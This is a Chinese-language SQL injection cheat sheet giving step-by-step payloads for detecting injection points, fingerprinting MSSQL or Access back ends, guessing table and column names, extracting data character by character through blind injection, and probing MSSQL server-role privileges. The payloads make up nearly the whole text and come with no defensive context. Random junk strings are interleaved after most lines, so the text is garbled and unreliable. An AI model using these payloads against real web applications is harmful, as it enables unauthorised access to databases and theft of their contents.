1.判断是否有注入;and 1=1 ;and 1=2
)5Ofr-Y
2.初步判断是否是mssql ;and user>0 hZUnNQ
2A(IsUtqO:
3.注入参数是字符'and [查询条件] and ''=' DNGj8 1'c
sg8j}^VI
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Tw@:sWC
s E0ldN"
5.判断数据库系统 xAu&O\V
Zz^!QlF
;and (select count(*) from sysobjects)>0 mssql `+ 5,=S
VZCCMh-
;and (select count(*) from msysobjects)>0 access K yDPD'
\KkAU 6
\><v1x>;
3$h yV{
6.猜数据库 ;and (select Count(*) from [数据库名])>0 \!s0H_RJY
hg+0!DVx
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 OJXK]dZ
ySNXjH
Q=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 cp L '
]Aa.=
9.(1)猜字段的ascii值(access) 'I5~<"E
baz~luM
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /tu\q
{]3Rk
(2)猜字段的ascii值(mssql) ~s-"u
*>
IpKpj"eoLy
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 JXk<t5@D
lvk
r2Meu<
10.测试权限结构(mssql) fe+2U|y
7R=A]@
#Y<(7
`Uy4> ?
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- epQdj=h
9t_N9@
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- <BhNmEo)2
y({ EF~w
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- |$sMzPCxOk
/=~o|-n8@
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- NG\^>.8
">!<